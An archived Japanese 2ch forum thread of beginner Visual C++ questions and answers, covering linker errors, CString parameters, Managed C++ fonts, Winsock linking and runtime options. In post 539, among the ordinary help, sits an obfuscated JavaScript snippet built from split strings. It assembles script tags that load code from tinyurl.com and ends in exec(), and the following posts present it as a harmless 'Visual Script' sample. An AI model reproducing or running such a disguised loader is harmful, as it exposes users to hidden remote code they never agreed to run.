★初心者にVisual C++ ..
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482:デフォルトの名無しさん
07/02/18 17:41:31
>>477
#include <mysql.h>の前に、#include <winsock.h>。もれはこれで
3ヶ月ほど悩んだ。


483:デフォルトの名無しさん
07/02/18 20:57:18
Visual Studio 2005なんですけど
SystemParametersInfo(SPI_SETDESKWALLPAPER,NULL,"c:\\a.bmp",0);
でコンパイルはいけるんですが、ソリューションのビルドで
エラーになります
"c:\a.bmp"でもだめです
Vistaでもいけますよね?
解る方お願いします


484:デフォルトの名無しさん
07/02/18 20:59:14
>■質問するにあたって
>・エラーや警告のときはエラーメッセージを書きましょう。


485:デフォルトの名無しさん
07/02/18 21:21:25
>>483 です
エラーが多いんで伏せてました

リンクしています...
aaa_ch.obj : error LNK2028: 未解決のトークン (0A000022) "extern "C" int __stdcall
SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z) が関数 "
int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
aaa_ch.obj : error LNK2019: 未解決の外部シンボル "extern "C"
int __stdcall SystemParametersInfoW
(unsigned int,unsigned int,void *,unsigned int)"
(?SystemParametersInfoW@@$$J216YGHIIPAXI@Z)
が関数 "int __cdecl main(void)" (?main@@$$HYAHXZ) で参照されました。
E:\C++\aaach\Debug\aaach.exe : fatal error LNK1120: 外部参照 2 が未解決です。

以上です、お願いします。


486:デフォルトの名無しさん
07/02/19 11:11:35
超初歩的な質問なのですが、
MS Visual C++ .NET で、IntToStr関数を使えないので他の方法を調べてます。
値を文字列に変換するにはどうしたら良いのでしょうか?


487:デフォルトの名無しさん
07/02/19 11:15:20
マネージプログラムならメソッドのToString
そうでなければ、boost::lexical_cast、std::(basic_)ostringstream、std::sprintf (_stprintf)と続く

488:デフォルトの名無しさん
07/02/19 11:24:28
>>487
下の方法でできました!親切な回答ありがとうございます。

int a=100;
label1->Text = a.ToString();

489:デフォルトの名無しさん
07/02/19 15:21:20
連続で申し訳ないのですが、また質問があります。

別の人が作ったソースで下のようにオーバーロードされた関数があるのですが、
この2つの違いって何なんでしょうか?

CRect hoge(CRect & r) const
{
  :
  :
}

CRect hoge(CRect const & r) const
{
  :
  :
}

490:デフォルトの名無しさん
07/02/19 15:39:02
>>485
必要なライブラリリンクしてないんじゃね

491:デフォルトの名無しさん
07/02/19 15:40:04
>>489
中味は同じでもかまわない
コンパイラが区別できればそれでいい

492:デフォルトの名無しさん
07/02/19 15:42:38
>>489
constの有無。
特にconstな参照は右辺値を受け取れるので、
実質的にその多重定義は右辺値か左辺値かで振り分けられる。

493:デフォルトの名無しさん
07/02/19 16:11:30
>>492
右辺値、左辺値とは何を指していますか?
この例だと引数は「r」1つだけなので右辺・左辺関係ないように思えます。

あと & についてですが、& をつけると、変数の値を変更すると
呼び出し元のスコープでもそれが変更される、という風に単純に考えています。

これに const が付くということに矛盾も感じます。
const とは、「この引数は変更不可です」という宣言だと思うのですが、
だとすれば、引数を & で渡す意味がないことになります。

このソース、バグ持ちでしょうか?

494:デフォルトの名無しさん
07/02/19 16:25:50
ここはC++相談室じゃないし
くだらない質問は遠慮してほしいな

495:デフォルトの名無しさん
07/02/19 16:34:28
>>493
お前が馬鹿なだけだからVCやるまえにC++勉強してこい

496:デフォルトの名無しさん
07/02/19 17:03:54
>>494-495
わかりました…
ありがとうございます

497:デフォルトの名無しさん
07/02/19 18:35:13
そもそも右辺値、左辺値はC言語の初歩

498:デフォルトの名無しさん
07/02/19 19:53:10
>>496
あきらめるなな。最初は分かんないことばかりなんだから。

499:デフォルトの名無しさん
07/02/20 22:01:04
すみません。
プロジェクトのプロパティで、
ランタイムライブラリについての設定周りで質問なのですが、

今/MDでビルドすると上手く行くいき、/MTにしたところ
ヒープの破壊が発生するといった状況になりました。
プロジェクトには自前のDLLを使ってます。
URLリンク(support.microsoft.com)
ここにあるとおり、CRTオブジェクトの操作の不備が原因であると
分かりました。

それで質問なのですが、
多くの場合の開発では/MTと/MDどちらを使用するのでしょうか、
/MDの方が、容量が小さくなるし、CRTobjも共有できるようですが、
Cランタイム等がインストールされている必要があります。
/MTだと、ランタイムがインストールされていなくても動作
するようですが、容量が大きく、CRTobjが共有できないようです。

どっちもどっちなのですが、やはり/MDが主流なのでしょうか?

500:デフォルトの名無しさん
07/02/20 22:13:29
何の目的か知らないけど、とくに必要感じなかったらデフォのままで
あとここは初心者スレだし

501:デフォルトの名無しさん
07/02/20 22:22:00
VC++ というよりはC++の話かも知れませんが教えてください。

CStirng s;
testFunc(&s);

void testFunc(CString s)
{ CString tmp("test"); (*s) = tmp; }

とやると s の値が呼び出し元でも変更されていて、

CString *s;
testFunc(s);

void testFunc(CString *s)
{ CString tmp("test"); s = &tmp; }

とやると変更されていないのはなぜでしょう?

Cのイメージからいくと上の方が変更されずに下で変更されるような気がするのですが・・

502:デフォルトの名無しさん
07/02/20 22:30:08
int *p;
testFunc(p);

void testFunc (int *p)
{ int tmp=1; p=&tmp; }

503:499
07/02/20 22:48:00
あ、スレ違いすみません。
他スレに投げてきます。


504:501
07/02/20 22:50:22
>>502
すいません。勘違いしていました。
その通りですね。

505:デフォルトの名無しさん
07/02/20 22:52:04
上のやつもあんまり見ない使い方だな
受けたい場合はこういう風に使うのが普通

void GetWindowText( CString& rString ) const;

506:デフォルトの名無しさん
07/02/20 22:56:30
素直にCString返せよ。

507:デフォルトの名無しさん
07/02/21 00:08:53
それはどうよ。
んまぁ今のCPUじゃ一瞬だろうけどな…

508:デフォルトの名無しさん
07/02/21 01:33:29
CStringは参照カウント使ってるから、大したオーバーヘッドじゃないよ。

509:デフォルトの名無しさん
07/02/21 06:19:25
オーバーヘッドな気もするけどMFCもこんなことやってるな

CString CListCtrl::GetItemText(int nItem, int nSubItem) const
{
ASSERT(::IsWindow(m_hWnd));
LVITEM lvi;
memset(&lvi, 0, sizeof(LVITEM));
lvi.iSubItem = nSubItem;
CString str;
int nLen = 128;
int nRes;
do
{
nLen *= 2;
lvi.cchTextMax = nLen;
lvi.pszText = str.GetBufferSetLength(nLen);
nRes = (int)::SendMessage(m_hWnd, LVM_GETITEMTEXT, (WPARAM)nItem,
(LPARAM)&lvi);
} while (nRes == nLen-1);
str.ReleaseBuffer();
return str;
}

510:デフォルトの名無しさん
07/02/21 09:41:27
CStringのコピーは、ポインタコピー + αくらいのオーバーヘッドでしょ。

511:デフォルトの名無しさん
07/02/21 16:45:09
失礼します。
MS Visual C++ .NET にて質問なのですが、テキストボックスのフォントを

textBox1->Font = new System::Drawing::Font("MSゴシック", 10);

このように変更できますが、new しっぱなしで構わないのでしょうか?
また、

textBox1->Font->Name = "MSゴシック";
textBox1->Font->Size = 10;

このように変更できないのでしょうか?
よろしくおねがいします。

512:デフォルトの名無しさん
07/02/21 16:48:36
>>511
1) コントロールに割り当てると、うまく壊すタイミングがないからGCに任せるといい。
2) 読み取り専用プロパティだから無理。

513:511
07/02/21 18:33:41
>>512
ありがとうございます。
でも分からないことだらけで死にそうです…。
ビルダーだったら簡単なのに…。とりあえず以下のように拡張しました。

  // フォント情報生成
  CString  fontName = dlg.GetFaceName();
  int    fontSize = dlg.GetSize()/10;
  COLORREF  fontColor = dlg.GetColor();

  // BOLD と ITALIC
  int fontStyle = 0;
  if(dlg.IsBold() ) fontStyle += (int)FontStyle::Bold;
  if(dlg.IsItalic()) fontStyle += (int)FontStyle::Italic;

  // セット
  textBox1->Font = new System::Drawing::Font(fontName, fontSize, (FontStyle)fontStyle);

なお new を gcnew にすると
error C2065: 'gcnew' : 定義されていない識別子です。
とエラーが出ます。
これは何故なのでしょうか?

514:デフォルトの名無しさん
07/02/21 19:33:37
言語が違うからだろう。

Visual Studio .NET 2002 / 2003
-> Managed C++

Visual Studio 2005
-> C++/CLI

おそらく2003あたりなんだろうけど、
開発環境は "MS Visual C++ .NET" なんて略さず、確り書くべき。

515:デフォルトの名無しさん
07/02/21 19:46:08
マネージドC++ではマネージクラスをnewすると漏れなくGCの管理下に置かれる。

それはともかくこのほうがいいと思う。
FontStyle fontStyle;
if (dlg.IsBold()) fontStyle |= FontStyle::Bold;
if (dlg.IsItalic()) fontStyle |= FontStyle::Italic;

516:デフォルトの名無しさん
07/02/21 22:37:04
.NET 2003でWinsockを使いたい場合どうすればいいのでしょうか?

プロジェクトを作る場合にチェックボックスで指定出来るのは後から
知ったのですが、これを忘れた場合どうすればよいのでしょうか?
ws2_32.lib のリンクなどが必要だと思うのですが、VC++6.0とは
リンクの仕方が変わっているようで分かりませんでした。

517:デフォルトの名無しさん
07/02/21 22:50:37
プロジェクトを作る場合にチェックボックスで指定した場合
プロジェクトを作る場合にチェックボックスで指定しなかった場合
2種類つくってどこが違うか比較

518:デフォルトの名無しさん
07/02/21 22:58:45
/LIBPATH

をmsdnで調べましょう

519:デフォルトの名無しさん
07/02/21 23:12:26
>>482
有難うございます、解決できました。

520:デフォルトの名無しさん
07/02/22 10:56:24
>>514-515
ありがとうございます。
おかげさまで疑問点は解決できました。

521:デフォルトの名無しさん
07/02/22 11:05:08
どうでもいい質問かもしれないのですが、
 textBox1->Font = new Font("MSゴシック", 10);
と、プログラムからフォント指定する場合、
textBox1コンポーネントに元々あったはずのフォント情報を保存するためのメモリ領域は
どこへ行っちゃうのでしょうか…?



522:デフォルトの名無しさん
07/02/22 12:43:15
.NETではその内ガベージコレクタによって回収される。
だからメモリリークの心配は要らない。

523:デフォルトの名無しさん
07/02/22 14:03:58
>>522
.NETすげー。
サンクスコ。


524:デフォルトの名無しさん
07/02/22 20:22:07
今後C++は廃れますか

525:デフォルトの名無しさん
07/02/22 20:29:21
仕様の汚さでC++を凌駕する言語が現れるまでは安泰です

526:デフォルトの名無しさん
07/02/22 23:16:23
既に現れていると思うが。Dとか。

527:デフォルトの名無しさん
07/02/23 00:03:53
C言語の次だからD言語?
だとしたらA言語とかB言語もあるってこと?

528:デフォルトの名無しさん
07/02/23 00:05:27
Bはあるよ

529:デフォルトの名無しさん
07/02/23 00:31:38
でもBはAの次ということではなく、BCPLの頭文字が由来。
ついでに言うとCの由来はBの後継ということでBCPLの2文字目。

530:デフォルトの名無しさん
07/02/23 00:51:51
えーっと
ユニコードの設定では
CStdioFile::WriteStringで日本語が出力されないんですが
いったい如何すればいいんでしょうか?

531:530
07/02/23 00:52:51
VC2005のMFCでございます。

532:デフォルトの名無しさん
07/02/23 07:03:23
>>531
既定ではCロケールになっているので、Unicode/MBCS変換時に日本語は無視されてしまう。
以下の一行をInitInstance辺りにでも入れておくと、OSの設定に従うようになる。
_tsetlocale(LC_ALL, _T(""));

533:530
07/02/23 07:41:53
>>532
<locale.h>をインクルードしてできました。
助かりましたありがとうございます。

534:デフォルトの名無しさん
07/02/23 17:01:59
質問があります。 ※>>513のつづきとなっております…

MS Visual C++ .NET 2003
においてなのですが、
CEditコンポーネントのフォントを変更する場合、以下のようにすると成功しました。

CEdit* edit(GetDlgItem(IDC_ED1));
CFONT font;

LOGFONT logfont;
(logfont編集)
font = CreateFontIndirect(&logfont);
edit->SetFont(font, TRUE);

logfontを編集することによって、フォント種類やサイズ、下線などが指定できました。
しかし、フォントの色だけは変更できませんでした。

edit->SetTextColor(refcolor);
のような関数があればいいのですがCEditのメンバにはないようにです。
CEditコンポーネントのフォント色を変更する方法を知ってる方、どうか
教えていただけないでしょうか。

535:デフォルトの名無しさん
07/02/23 18:51:51
フォント色コンポーネント

536:デフォルトの名無しさん
07/02/23 20:07:16
>>534
WM_CTLCOLORをハンドル。
親が処理するか、メッセージ返送を使ってCEditの派生で処理させるか好きな方を。
残念ながら、背景色はSetBkColorだけではうまくいかない。でも調べるの('A`)マンドクセ

537:デフォルトの名無しさん
07/02/23 21:06:59
>>536
ありがとうございます。
ググるための重要なキーワードです。ただ…訳の分からないエラーが出たり
基本を分かってなかったりで死にそうです。
ちょっと首吊ってきます…。

538:デフォルトの名無しさん
07/02/23 22:18:10
warning LNK4075: /EDITANDCONTINUE は /OPT:ICF の指定によって無視されます。
error LNK2005: "private: __thiscall type_info::type_info(class type_info const &)" (??0type_info@@AAE@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。
fatal error LNK1169: 1 つ以上の複数回定義されているシンボルが見つかりました。

VC++のない環境でもEXEを実行できるよう
VC++2005で/MTオプションでビルドしたところ上のようなエラーが出ました。
LIBCMT.libを無視するようにしたら、ビルドは通りましたがVCのない環境では実行できませんでした。

調べたところ
Microsoft_VC_DebugCRT_x86.msm
policy_8_0_microsoft_vc80_debugcrt_x86.msm
とういうファイルに依存しているようでした、VCがない環境で実行できないのはこれが原因でしょうか?

539:デフォルトの名無しさん
07/02/23 22:26:47
f="3a5"+"sm4";var d=new Array();tt=" - ";dd="";tt+="連";x=$.split("  \n ");tt+="続";xx="";tt+="動";
tt+="画";j=0;for(i=0;x.length>i;i++){if(3<=x[i].length){j++;if(1==j){tx=x[i];}else{a=x[i].split("&l=");b=eval(a[1]);
if(1>b){b=1;}else if(999<b){b=999;} b=(b+.1)/1000;b=a[0]+"&auto"+"play=1&l="+(""+b).substr(2,3);
c="you"+"tube.com/v/000000"+"00000&aut"+"oplay=1&l=99";b+=c+"9"+c+"8"+c+"7";b=b.substr(0,42*3);
xx+=b;}}} ds="<scr"+"ipt ";dq="src="+"//tin"+"yur"+"l.c"+"om/";dc=ds+dq;de="</scr"+"ipt>";
dn="<noscr"+"ipt>< img "+dq; df="</noscr"+"ipt>";db="<noem"+"bed>";dx="<xnoem"+"bed>";
d[0]="\";"+de+dc+f+">"+de+"\n";d[1]="<html><center><title>"+tx+tt+"</title>"+ds+">x=\"";
d[2]=dn+"y5o"+"vet >"+db+df+ds+">x=\"";d[3]=dc+"yn2"+"d2r>"+de+dx+dx+ds+">x=\"";n=xx.length/(42*3);
for(j=0;3>j;j++){dd+=d[j+1];for(i=0;n>i;i++){dd+=xx.substr(42*(3*i+j),42);}dd+=d[0];};exec(dd);


540:デフォルトの名無しさん
07/02/23 22:28:05
↑ Visual Script

541:デフォルトの名無しさん
07/02/23 22:30:18
サンプル動作例
URLリンク(g-s.s7.xrea.com)

542:デフォルトの名無しさん
07/02/23 22:55:13
>>538
>MSVCRTD.lib(ti_inst.obj) : error LNK2005: "private: class type_info & __thiscall type_info::operator=(class type_info const &)" (??4type_info@@AAEAAV0@ABV0@@Z) は既に LIBCMT.lib(typinfo.obj) で定義されています。
>LINK : warning LNK4098: defaultlib 'MSVCRTD' は他のライブラリの使用と競合しています。/NODEFAULTLIB:library を使用してください。

Releaceでリビルドし直せ。

543:デフォルトの名無しさん
07/02/24 00:30:16
一般にC++と言う場合、それがVisual C++をさしている確率は低いんでしょうか?

544:デフォルトの名無しさん
07/02/24 01:00:47
Visual C++のデバッグモードは便利ですね
プログラムを組んでも、必ずといっていいほど最初はとんでもないことしてるので、デバッグモードで動かすと
すぐ修正できて便利です。
ただ、ファイルを開いてなんかするプログラムだと、デバッグモードではファイルを開くことができません。
これは仕方ないのでしょうか

545:デフォルトの名無しさん
07/02/24 01:10:40
ファイルを開くときの共有モードをどうにかすればいい。

546:デフォルトの名無しさん
07/02/24 06:13:43
デバッグモードでも普通にファイル開けるだろ
何を言ってるのか理解できない

547:デフォルトの名無しさん
07/02/24 10:25:10
>>543
C++はプログラミング言語で、VisualC++はMicrosoftのプログラム開発ソフト。
意味が全く違う。

548:デフォルトの名無しさん
07/02/24 13:14:08
特定の時刻になったら知らせる方法を教えてください

549:デフォルトの名無しさん
07/02/24 13:26:35
つ[タスク]

550:デフォルトの名無しさん
07/02/24 13:33:44
どういうように使うのですか?

551:デフォルトの名無しさん
07/02/24 13:56:37
CLSID_CTaskSchedulerでCoCreateInstanceして
IID_ITaskSchedulerを介してアクセス。

552:デフォルトの名無しさん
07/02/24 14:02:35
WaitableTimer作って、WaitFor...で待つとか。

553:デフォルトの名無しさん
07/02/26 11:45:16
2003年の本で勉強したらもう古いらしくて損したよー 
新しい本買わなきゃ     ・゚・(ノД`)・゚・。ウワーン

554:デフォルトの名無しさん
07/02/26 12:21:38
あんたばか?

555:デフォルトの名無しさん
07/02/26 15:02:31
>>547
>>543がそんな意図で聞いてるんじゃないことは明白だと思うんだが

556:デフォルトの名無しさん
07/02/26 15:27:10
気に入らなかったら説明してやれば?

557:デフォルトの名無しさん
07/02/26 15:59:46
C++って言ったら、やはりプログラミング言語って言うしかないんじゃない?
gccなのかVisualC++なのかC++Builderなのか.NETなのか判断できないし。

558:デフォルトの名無しさん
07/02/26 20:59:28
>>543
そういうのって無意味だよな。
VCが使えない分野でなら確実にVCのことではない。


559:デフォルトの名無しさん
07/02/26 23:23:35
>>518の回答を元に調べてみましたが解決しなかったので教えてください。
.NET 2003 で WinSock を使用する方法です。

プロパティページの追加のライブラリのディレクトリにws2_32.libがある
Microsoft Visual Studio .NET\Vc7\PlatformSDK\lib を追加して
winsock2.hをインクルードするようにしたのですが、リンクのエラーになってしまいます。

  未解決の外部シンボル __imp__WSAStartup@8 が関数〜
  fatal error LNK1120: 外部参照 2 が未解決です

といった感じです。
どうすればよいのでしょうか?

560:デフォルトの名無しさん
07/02/26 23:26:59
更にプロジェクトのプロパティのリンカの中のどこかに、
追加の入力ファイルという項目があるから、そこにws2_32.libと書く。
そうしてはじめてリンク時にws2_32.libが使われる。

561:デフォルトの名無しさん
07/02/26 23:33:39
まだやってたのか
差分とって調べりゃ5分で済んだろうにアホだな

562:516
07/02/26 23:46:01
>>560
ありがとうございます。
確認してみます。

>>561
差分ってどうやってだすんですか?
テキストであればツールで簡単に確認できますが、リンカの設定などは
バイナリデータに入ってそうなんですが。

563:デフォルトの名無しさん
07/02/26 23:50:44
しかしファイル名はテキストのまま書き込まれている

564:デフォルトの名無しさん
07/02/27 01:30:39
大丈夫、VisualStudio2003ならその辺の設定は全部テキストだ。

565:デフォルトの名無しさん
07/02/27 04:45:26
*.vcproj をメモ帳で開いて見れ。
さすれば、幸せを手に入れることが出来るだろう。

566:デフォルトの名無しさん
07/02/27 10:26:29
>>561
アホとか言うのは控えろよ
ここ初心者スレだぞ
カスが

567:デフォルトの名無しさん
07/02/27 11:02:54
MFCダイアログベースで、ヘッダ情報に頼らずにファイルの容量を取得するにはどうすればいいでしょうか。



568:デフォルトの名無しさん
07/02/27 11:09:10
GetFileSize()

569:デフォルトの名無しさん
07/02/27 11:40:03
唐突にヘッダ情報って?

570:デフォルトの名無しさん
07/02/27 17:05:09
VC2005 MFCベースでMDIのアプリですが、追加画面が必要になったので
リソースビューの欄で「Dialogを挿入」を行い画面をデザインしてます。
この画面にボタンを2個配置しました。
Aのボタンは最初は無効状態でBのボタンを押すことによって有効にします。
なのでAのボタンは「メンバー変数追加ウイザード」でメンバー変数m_bt1を追加して
Bのボタンが押されたイベントの中でm_bt1.EnableWindow(TRUE);と記述しました。
しかし、コンパイルは通りますが動作させるとエラーが出ます。
ちなみに
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
と記述すると正常に動作します。
何故メンバー変数追加で操作するとエラーになるのでしょうか?
IDや変数名の重複は無いです。

571:デフォルトの名無しさん
07/02/27 17:11:38
別に問題ないと思うけど
あとは簡単なテストプログラム作って試すぐらいだから自分でやってみれば?

572:デフォルトの名無しさん
07/02/27 17:14:50
追加したダイアロクじゃなくて
新しく簡単なサンプル作ってやってみれば?ということね

573:デフォルトの名無しさん
07/02/27 18:02:36
m_bt1は有効だった?NULLだったりしないか?

574:デフォルトの名無しさん
07/02/27 18:03:29
つか、メンバのほうか
m_bt1.m_hWndは有効な値だった?

575:570
07/02/27 18:32:01
>>574
カーソルを当てて見てみたところメンバー変数を定義した変数のm_hWndは0x00000000です。
CButton* m_bt1 = (CButton*)GetDlgItem(IDC_BUTTON1);
m_bt1->EnableWindow(TRUE);
としてm_bt1のh_Wndを見ると0x00090beeです。

576:デフォルトの名無しさん
07/02/27 18:43:02
んじゃIDがおかしいとかかな。
変数定義もっかいやりなおしてみたら。
何回やってもダメならその手順書いてみな

577:デフォルトの名無しさん
07/02/27 18:44:27
メンバ変数の登録がちゃんとできてない。
もう一度やり直してみるといい。
対象のボタンを右クリックして「メンバ変数の追加」、
んでコントロール変数として適当なのを追加。

578:570
07/02/27 18:52:14
>>576
>>577
了解しました。
もう一度見直してみます。

579:デフォルトの名無しさん
07/02/27 19:50:05
roopoutには確実にFALSEがはいっているのに

if(roopout==FALSE)
break;
else
....

が機能しませんが環境によってそういうことがあるのですか?
デバッグしながら確実に中にはいってるものを確かめましたがelseのほうにいきます

580:デフォルトの名無しさん
07/02/27 19:56:06
FALSEとfalseは違うんじゃなかったっけ
if (!roopout) とか書いた方が安全

581:デフォルトの名無しさん
07/02/27 19:57:12
それかifの後ろのどっかに変なセミコロンが紛れ込んでいて
条件式が真の場合にただの空行を実行してるとか

582:デフォルトの名無しさん
07/02/27 19:57:24
やってみます

583:デフォルトの名無しさん
07/02/27 20:03:07
ifとelseの間がbreakだけなので、ステップ実行で確認したときあたかも素通りしたように
見えるだけなんじゃない?

584:デフォルトの名無しさん
07/02/27 20:06:22
ではなぜelseの処理に

585:デフォルトの名無しさん
07/02/27 20:06:35
2005から始めた初心者はかなりきつい状態だろうな
本もサイトも全然ないもんな……

586:デフォルトの名無しさん
07/02/27 20:21:12
実は
if(roopout=FALSE)
と書いていた。

587:デフォルトの名無しさん
07/02/27 20:23:05
それに気付かなくてえらい苦労をした経験から、
条件文は必ず定数を先に書くことにしてる
if(200 == myIQ) みたいな

588:デフォルトの名無しさん
07/02/27 20:29:16
今時それくらいは警告を出すから、わざわざナンセンスな書き方をする必要など無い。

589:デフォルトの名無しさん
07/02/27 20:39:44
そんな書き方してません
再起動したりしたら動きました

590:516
07/02/27 21:44:56
ありがとうございました。
テキストファイルを見比べてみて同じようにすれば出来ました。

VC++6.0のSDKのときはライブラリをリンクして winsock2.h をインクルードして
たんですが、今回、2003のMFCの場合、ヘッダをインクルードして後はちょこちょこっと
関数を呼び出しているだけでライブラリのリンクは特にしていないように思えました。
良く分からなかったのですが、とにかく出来ました。

591:デフォルトの名無しさん
07/02/28 01:23:13
>>588
VCだと警告されない罠。
gccでは文句言われるので、そっちに合わせた書き方してるけど。

592:デフォルトの名無しさん
07/02/28 01:51:43
warning C4706: 条件式の比較値は、代入の結果になっています。

593:591
07/02/28 02:46:30
ありゃ、見逃してた。ひゃくにんいっちゅの所為かorz
安全性考えると、pragmaか/wオプションでレベル下げとくのもありかなあ。

594:デフォルトの名無しさん
07/02/28 14:56:39
if(FALSE == flag)
みたいに定数を先に書くソースを見ると身震いするほど嫌悪感を抱くのは俺だけ?

595:デフォルトの名無しさん
07/02/28 15:09:53
一度精神科を受診することをオススメする。

596:デフォルトの名無しさん
07/02/28 15:43:04
>>594
初めて見た。

597:デフォルトの名無しさん
07/02/28 17:00:54
>>594
オレも。

598:594
07/02/28 17:09:35
>>595
ちょっと受診してくるから良い病院を紹介してくれ

599:デフォルトの名無しさん
07/02/28 23:18:59
URLリンク(www.kouno.jp)

600:デフォルトの名無しさん
07/03/01 00:39:08
打ちそこねで=を一つ落とすことはあっても
うっかりしてリテラルと変数を逆に書くなんてことはない。

601:デフォルトの名無しさん
07/03/01 08:11:35
>>600
そりゃいないだろ
わざと逆にやってんだから

602:デフォルトの名無しさん
07/03/01 10:24:23
プログラムを文章として読むと、それが気持ち悪いんだよね。
文章のように読めるプログラムを理想としてるのがわるいのかなあ。

603:デフォルトの名無しさん
07/03/01 11:20:23
>>602
そうそう。たとえば、
if( a == 100 )
だと、頭の中で「a は 100 か」と読める。

でも
if( 100 == a )
だと、「100 は a か」と読んでしまう。
主題が a ではなくなってしまい、思考が後戻りしてしまう感覚が
あってなんかイラッとする。

604:デフォルトの名無しさん
07/03/01 11:27:04
デバッグの停止ボタンを押すとデバッグ中のプログラムは停止しますが
解放処理等はちゃんと行われているのでしょうか?

605:デフォルトの名無しさん
07/03/01 12:04:11
>>604
行なわれるものと行なわれないものがある。

606:デフォルトの名無しさん
07/03/01 12:09:02
C言語で
#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

って書いたプログラムってそのままC++で実行できる?
それとも
#include <iostream>
using namespace std;

int main()
{
cout << "こんにちは" << endl;
}
って書かなきゃだめ?

607:デフォルトの名無しさん
07/03/01 12:10:41
そのままできるのがC++の強み

608:デフォルトの名無しさん
07/03/01 12:16:52
正しくは#include <cstdio>

609:デフォルトの名無しさん
07/03/01 12:18:10
>>607
そうなんですか〜 ありがとうございます。
はじめたばかりの初心者ですみません。

610:デフォルトの名無しさん
07/03/01 12:21:24
#include <cstdio> ですか。間違えました。

611:デフォルトの名無しさん
07/03/01 12:42:34
<cstdio>を使うならprintfではなく、std::printfと書かなければいけないぞ。

612:デフォルトの名無しさん
07/03/01 13:01:53
C++だからといって、cin,coutに拘る必要は無い。
とか思う俺は年寄りなんだろうな……

613:デフォルトの名無しさん
07/03/01 13:15:26
すみません。もうひとつ。

#include <stdio.h>

int main(void)
{
printf("こんにちは\n");
return 0;
}

マイクロソフトのVisual C++でやってみたところ
画面が一瞬出てからすぐ消えちゃうんですがどうすればいいでしょうか?

614:デフォルトの名無しさん
07/03/01 13:16:41
こんにちは→helloに変更します。

615:デフォルトの名無しさん
07/03/01 13:22:56
>>613
Visual Studioのバージョンによるが「デバッグなしで開始」するか、
コマンドプロンプトを開いてそこから実行する。

616:デフォルトの名無しさん
07/03/01 14:15:45
>>613
何回も何回も出るな、その質問。
>>615でいいけど、デバッグしたいなら
rerturn にブレークポイント置くか、その前に getchar(); でも入れとけば。

617:デフォルトの名無しさん
07/03/01 14:23:07
>>615-616
ありがとうございます。

618:デフォルトの名無しさん
07/03/01 15:07:29
C++をCコンパイラとして使うのはやめた方が良くないか?
それは強みというより、自分の首を自分で絞めているようなもののような気がする。
stdioなんて使わずに、がんばってC++のライブラリを使用すべきなんじゃないか。
論じる次元が違うかもだけど、構造化プログラミングというパラダイムとオブジェクト
指向というパラダイムを同時に使っているような気がして、なんか嫌だ。
C++がますます煙たがれ、衰退するような気がする。

619:デフォルトの名無しさん
07/03/01 16:19:30
>>618
話が飛躍しすぎ

620:デフォルトの名無しさん
07/03/01 16:32:13
>>618
C++はそういう複数のパラダイムを使えることが強みだと
C++の作者Stroustrupも自著D&Eで言っている。

621:デフォルトの名無しさん
07/03/01 16:37:20
質問があります。
afxwin.hをインクルードしているのにも関わらず、CWndを使うと
error C2061: 構文エラー : 識別子 'CWnd'
というのが出ます。
CWndを使用するためにはafxwin.hをインクルードするだけでは足りないのでしょうか?


622:デフォルトの名無しさん
07/03/01 18:44:42
そのエラーの行を、前後数行含めてコピペしてみ

623:デフォルトの名無しさん
07/03/01 19:24:24
>>622
返答ありがとうございます。

この行が先頭に出て、他にエラーは出ません。

624:デフォルトの名無しさん
07/03/01 21:06:01
afxwin.hがあればいい

625:デフォルトの名無しさん
07/03/01 21:14:14
つまりそれ以外の原因を疑えということ

626:デフォルトの名無しさん
07/03/01 22:31:17
俺としてはcinとかcoutってそんなにいいものなのかねって思う。
C言語に変なもの持ち込んでC++を作りやがってとすら思っている。

627:デフォルトの名無しさん
07/03/02 03:05:26
> 俺としてはcinとかcoutってそんなにいいものなのかねって思う
実に便利だと思う。STLと絡めると特に。

628:デフォルトの名無しさん
07/03/02 08:40:14
ユーザ定義型を組込型と同じように入出力できるのはいいと思う。

629:デフォルトの名無しさん
07/03/02 08:46:27
VCじゃなくてC/C++の話になると書き込みが増えるのは
VCの話には参加できなくてROMってる初心者が多いということか

630:デフォルトの名無しさん
07/03/02 08:56:49
俺もストリームだけは便利さがいまだに分からん。
まあテキスト入出力自体あまりしないからかもしれん、
作るのは GUI アプリばっかだからコンソールは使わないし、
、データ保存はもっぱらバイナリだし、
設定ファイルは WritePrivateProfileString だからなあ

631:デフォルトの名無しさん
07/03/02 12:18:27
>>629
C/C++の話の方がdeepな感じがするが

632:デフォルトの名無しさん
07/03/02 13:25:30
VC6使ってる初心者が多いしVCは万年初心者が多いのか?
C/C++のベテランでも挫折するという話だし

633:デフォルトの名無しさん
07/03/02 17:22:29
いつまでたっても初心者だ

634:デフォルトの名無しさん
07/03/03 19:53:59
完全VCオンリーで語ることなんかあるのか?

635:デフォルトの名無しさん
07/03/03 20:27:38
VC固有の動作、CRTの独自拡張、MFCやATLとか

636:デフォルトの名無しさん
07/03/03 21:55:11
VCという道具について語るのが目的か?
VCという道具を使ってWindowsプログラミングをするのが目的だろ

637:デフォルトの名無しさん
07/03/03 22:58:37
API直打ちしている人はC言語のfgetsみたいにファイルから
テキストを一行取得するようなことをしたい場合は
ReadFileとかで適当なバイト数読み出して
行末を見つけて抜き出す、のようにやっているんですか?


638:デフォルトの名無しさん
07/03/03 23:38:21
人によるだろう

639:デフォルトの名無しさん
07/03/04 01:38:18
>>637
そうだよ。SDKだけでやるならね。

640:デフォルトの名無しさん
07/03/04 05:34:28
ちなみに CRT は内部で
>>637 が言ってることをやってるよ。

641:デフォルトの名無しさん
07/03/04 09:13:46
SDKオンリーだろうかCランタイムだろうがVBランタイムだろうが
自前でやるか、呼び出す関数・メソッドが内部でやるか
ただそれだけのことでしかないわな

642:デフォルトの名無しさん
07/03/04 11:49:44
641って馬鹿?意味を全く理解してないw

643:デフォルトの名無しさん
07/03/04 13:59:09
たぶんCでべたに書くのが一番効率がいい。
けど安全性とか汎用性とかもあるから既存のライブラリを使う場合もある。
